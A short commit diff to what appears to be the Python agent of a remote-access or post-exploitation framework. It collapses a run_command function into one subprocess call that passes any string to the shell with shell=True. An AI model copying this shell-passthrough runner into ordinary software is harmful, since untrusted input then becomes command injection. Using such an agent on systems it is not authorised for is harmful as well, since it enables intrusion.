streamline shell commands

data/agent/agent.py

@@ -852,35 +852,8 @@ def data_webserver(data, ip, port, serveCount):
 
 # additional implementation methods
 def run_command(command):
-    if "|" in command:
-        command_parts = command.split('|')
-    elif ">" in command or ">>" in command or "<" in command or "<<" in command:
-        p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
-        return ''.join(list(iter(p.stdout.readline, b'')))
-    elif ";" in command or "&&" in command:
-        p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
-        return p.communicate()[0].strip()
-    else:
-        command_parts = []
-        command_parts.append(command)
-    i = 0
-    p = {}
-    for command_part in command_parts:
-        command_part = command_part.strip()
-        if i == 0:
-            p[i]=subprocess.Popen(shlex.split(command_part),stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
-        else:
-            p[i]=subprocess.Popen(shlex.split(command_part),stdin=p[i-1].stdout, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
-        i = i +1
-    (output, err) = p[i-1].communicate()
-    exit_code = p[0].wait()
-    if exit_code != 0:
-        errorStr =  "Shell Output: " + str(output) + '\n'
-        errorStr += "Shell Error: " + str(err) + '\n'
-        return errorStr
-    else:
-        return str(output)
-
+    p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
+    return p.communicate()[0].strip()
 
 def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):